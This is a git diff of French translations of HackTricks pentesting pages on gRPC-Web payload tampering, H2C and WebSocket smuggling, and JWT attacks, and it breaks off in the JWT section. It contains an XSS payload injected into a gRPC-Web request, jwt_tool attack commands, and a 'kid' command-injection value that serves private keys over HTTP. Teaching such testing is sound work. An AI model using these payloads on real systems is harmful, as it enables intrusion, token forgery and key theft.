@ -216,8 +216,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,51 +1,61 @@
|
|||
# Pentesting gRPC-Web
|
||||
# Test d'intrusion gRPC-Web
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **Manipulation des charges utiles gRPC-Web**
|
||||
gRPC-Web utilise Content-Type: `application/grpc-web-text` dans les requêtes, qui est une sorte de protobuf sous forme encodée en base64. Vous pouvez utiliser l'outil [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), et vous pouvez également installer son [Extension Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
|
||||
gRPC-Web utilise Content-Type: `application/grpc-web-text` dans les requêtes, qui est une forme de protobuf encodée en base64, vous pouvez utiliser l'outil [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), et vous pouvez également installer son [Extension Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
|
||||
|
||||
### **Manuel avec l'outil gGRPC Coder**
|
||||
1. D'abord, décodez la charge utile :
|
||||
1. Décoder d'abord la charge utile :
|
||||
```bash
|
||||
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
||||
```
|
||||
2. Modifier le contenu du payload décodé
|
||||
2. Modifier le contenu de la charge utile décodée
|
||||
|
||||
```html
|
||||
<p>Once you have successfully intercepted and decoded the payload, you can proceed to edit its content. This can be useful for various purposes such as modifying data being sent to the server or injecting malicious scripts.</p>
|
||||
```
|
||||
|
||||
```html
|
||||
<p>Une fois que vous avez intercepté et décodé avec succès la charge utile, vous pouvez procéder à la modification de son contenu. Cela peut être utile à diverses fins, telles que la modification des données envoyées au serveur ou l'injection de scripts malveillants.</p>
|
||||
```
|
||||
```
|
||||
nano out.txt
|
||||
2: {"Amin Nasiri Xenon GRPC"}
|
||||
3: 54
|
||||
7: {"<script>alert(origin)</script>"}
|
||||
```
|
||||
3. Encoder le nouveau payload
|
||||
3. Encodez la nouvelle charge utile
|
||||
```bash
|
||||
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
||||
```
|
||||
4. Utilisez la sortie dans l'intercepteur Burp :
|
||||
4. Utiliser la sortie dans l'intercepteur Burp :
|
||||
```
|
||||
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
||||
```
|
||||
### **Manuel avec l'extension gRPC-Web Coder pour Burp Suite**
|
||||
Vous pouvez utiliser l'extension gRPC-Web Coder pour Burp Suite dans [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) qui est plus simple. Vous pouvez lire les instructions d'installation et d'utilisation dans son dépôt.
|
||||
### **Manuel avec l'extension Burp Suite Coder gRPC-Web**
|
||||
Vous pouvez utiliser l'extension Burp Suite Coder gRPC-Web dans [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) qui est plus facile. Vous pouvez lire les instructions d'installation et d'utilisation dans son dépôt.
|
||||
|
||||
## **Analyse des fichiers Javascript gRPC-Web**
|
||||
Il y a au moins un fichier Javascript dans chaque application gRPC-Web. Vous pouvez analyser le fichier pour trouver de nouveaux messages, points de terminaison et services. Essayez d'utiliser l'outil [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
|
||||
Il y a au moins un fichier Javascript dans chaque application gRPC-Web. Vous pouvez analyser le fichier pour trouver de nouveaux messages, endpoints et services. Essayez d'utiliser l'outil [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
|
||||
1. Téléchargez le fichier Javascript gRPC-Web
|
||||
2. Analysez-le avec grpc-scan.py:
|
||||
```bash
|
||||
python3 grpc-scan.py --file main.js
|
||||
```
|
||||
3. Analyser les résultats et tester les nouveaux points de terminaison et les nouveaux services :
|
||||
3. Analyser la sortie et tester les nouveaux points de terminaison et les nouveaux services :
|
||||
```
|
||||
Output:
|
||||
Found Endpoints:
|
||||
|
@ -139,17 +149,19 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
|
|||
```
|
||||
## Références
|
||||
|
||||
* [Article sur l'intrusion dans gRPC-Web par Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
|
||||
* [Suite de Pentest gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
|
||||
* [Article sur le piratage de gRPC-Web par Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
|
||||
* [Suite de tests d'intrusion gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
|
||||
### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, ou **http2 over cleartext**, s'éloigne de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion mise à niveau utilise le protocole binaire http2 pour une communication continue, contrairement à la nature de requête unique de l'HTTP en texte clair.
|
||||
H2C, ou **http2 over cleartext**, s'écarte de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion mise à niveau utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de HTTP en texte clair.
|
||||
|
||||
Le cœur du problème de smuggling réside dans l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant ensuite la réponse de l'arrière-plan. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques :
|
||||
```
|
||||
|
@ -34,11 +34,11 @@ Upgrade: h2c
|
|||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation du H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est initiée avec succès.
|
||||
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation de H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est initiée avec succès.
|
||||
|
||||
### Proxies Vulnérables <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi le H2C smuggling :
|
||||
La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi de manière inhérente le H2C smuggling :
|
||||
|
||||
- HAProxy
|
||||
- Traefik
|
||||
|
@ -57,7 +57,7 @@ En revanche, ces services ne transmettent pas de manière inhérente les deux en
|
|||
|
||||
### Exploitation <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Il est crucial de noter que tous les serveurs ne transmettent pas de manière inhérente les en-têtes requis pour une mise à niveau de connexion H2C conforme. Ainsi, des serveurs comme AWS ALB/CLB, NGINX et Apache Traffic Server, entre autres, bloquent naturellement les connexions H2C. Néanmoins, il est utile de tester avec la variante non conforme `Connection: Upgrade`, qui exclut la valeur `HTTP2-Settings` de l'en-tête `Connection`, car certains backends peuvent ne pas respecter les normes.
|
||||
Il est crucial de noter que tous les serveurs ne transmettent pas de manière inhérente les en-têtes requis pour une mise à niveau de connexion H2C conforme. Ainsi, des serveurs comme AWS ALB/CLB, NGINX et Apache Traffic Server, entre autres, bloquent naturellement les connexions H2C. Néanmoins, il est utile de tester avec la variante non conforme `Connection: Upgrade`, qui exclut la valeur `HTTP2-Settings` de l'en-tête `Connection`, car certains backends peuvent ne pas être conformes aux normes.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Indépendamment du **chemin** spécifique désigné dans l'URL `proxy_pass` (par exemple, `http://backend:9999/socket.io`), la connexion établie se limite par défaut à `http://backend:9999`. Cela permet d'interagir avec n'importe quel chemin à l'intérieur de ce point de terminaison interne, en exploitant cette technique. Par conséquent, la spécification d'un chemin dans l'URL `proxy_pass` ne restreint pas l'accès.
|
||||
|
@ -73,11 +73,11 @@ Le Websocket smuggling, contrairement à la création d'un tunnel HTTP2 vers un
|
|||
|
||||
## Scénario 1
|
||||
|
||||
Dans ce scénario, un backend offrant une API WebSocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes :
|
||||
Dans ce scénario, un backend offrant une API Websocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes :
|
||||
|
||||
1. Le client commence par envoyer une demande de mise à niveau au proxy inverse avec une version de protocole `Sec-WebSocket-Version` incorrecte dans l'en-tête. Le proxy, ne parvenant pas à valider l'en-tête `Sec-WebSocket-Version`, considère la demande de mise à niveau comme valide et la transmet au backend.
|
||||
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose la disponibilité de la communication WebSocket et transmet la réponse au client.
|
||||
3. Par conséquent, le proxy inverse est trompé en croyant qu'une connexion WebSocket a été établie entre le client et le backend, alors qu'en réalité, le backend avait rejeté la demande de mise à niveau. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client un accès illimité à l'API REST privée via cette connexion.
|
||||
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose la disponibilité de la communication Websocket et transmet la réponse au client.
|
||||
3. Par conséquent, le proxy inverse est trompé en croyant qu'une connexion Websocket a été établie entre le client et le backend, alors qu'en réalité, le backend a rejeté la demande de mise à niveau. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client un accès illimité à l'API REST privée via cette connexion.
|
||||
|
||||
Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le problème, et le proxy Envoy version 1.8.0 ou plus ancienne, les versions ultérieures ayant modifié le mécanisme de mise à niveau. D'autres proxies peuvent également être vulnérables.
|
||||
|
||||
|
@ -85,16 +85,16 @@ Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le pro
|
|||
|
||||
## Scénario 2
|
||||
|
||||
Ce scénario implique un backend avec à la fois une API WebSocket publique et une API REST publique pour la vérification de l'état de santé, ainsi qu'une API REST interne inaccessible. L'attaque, plus complexe, implique les étapes suivantes :
|
||||
Ce scénario implique un backend avec à la fois une API Websocket publique et une API REST publique pour la vérification de l'état de santé, ainsi qu'une API REST interne inaccessible. L'attaque, plus complexe, implique les étapes suivantes :
|
||||
|
||||
1. Le client envoie une requête POST pour déclencher l'API de vérification de l'état de santé, incluant un en-tête HTTP supplémentaire `Upgrade: websocket`. NGINX, agissant en tant que proxy inverse, interprète cela comme une demande de mise à niveau standard basée uniquement sur l'en-tête `Upgrade`, négligeant les autres aspects de la requête, et la transmet au backend.
|
||||
2. Le backend exécute l'API de vérification de l'état de santé, se connectant à une ressource externe contrôlée par l'attaquant qui renvoie une réponse HTTP avec le code d'état `101`. Cette réponse, une fois reçue par le backend et transmise à NGINX, trompe le proxy en pensant qu'une connexion WebSocket a été établie en raison de sa validation uniquement du code d'état.
|
||||
2. Le backend exécute l'API de vérification de l'état de santé, se connectant à une ressource externe contrôlée par l'attaquant qui renvoie une réponse HTTP avec le code d'état `101`. Cette réponse, une fois reçue par le backend et transmise à NGINX, trompe le proxy en pensant qu'une connexion Websocket a été établie en raison de sa validation uniquement du code d'état.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Avertissement :** La complexité de cette technique augmente car elle nécessite la capacité d'interagir avec un point de terminaison capable de renvoyer un code d'état 101.
|
||||
|
||||
En fin de compte, NGINX est trompé en croyant qu'une connexion WebSocket existe entre le client et le backend. En réalité, aucune telle connexion n'existe ; l'API REST de vérification de l'état de santé était la cible. Néanmoins, le proxy inverse maintient la connexion ouverte, permettant au client d'accéder à l'API REST privée à travers celle-ci.
|
||||
En fin de compte, NGINX est trompé en croyant qu'une connexion Websocket existe entre le client et le backend. En réalité, aucune telle connexion n'existe ; l'API REST de vérification de l'état de santé était la cible. Néanmoins, le proxy inverse maintient la connexion ouverte, permettant au client d'accéder à l'API REST privée à travers celle-ci.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
|
@ -126,7 +126,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts GitHub HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
### **Gains Rapides**
|
||||
|
||||
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) avec le mode `Tous les tests!` et attendez les lignes vertes
|
||||
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) en mode `Tous les tests!` et attendez les lignes vertes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -60,7 +60,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou
|
|||
|
||||
### Durée
|
||||
|
||||
Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
|
||||
### Force brute du secret HMAC
|
||||
|
||||
|
@ -70,7 +70,7 @@ Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il
|
|||
|
||||
Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.
|
||||
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" sur "None").
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
|
||||
### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -111,7 +111,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Aperçu des problèmes de Kid
|
||||
|
||||
Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton.
|
||||
Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton.
|
||||
|
||||
#### Révélation de la clé via "kid"
|
||||
|
||||
|
@ -135,7 +135,7 @@ Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, p
|
|||
|
||||
#### Injection OS via "kid"
|
||||
|
||||
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est :
|
||||
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est :
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -144,7 +144,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
|
|||
#### jku
|
||||
|
||||
jku signifie **URL de jeu de clés JWK**.\
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Manipulez le jeton pour pointer la valeur jku vers un service Web dont vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
```bash
|
||||
|
@ -165,7 +165,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
|
||||
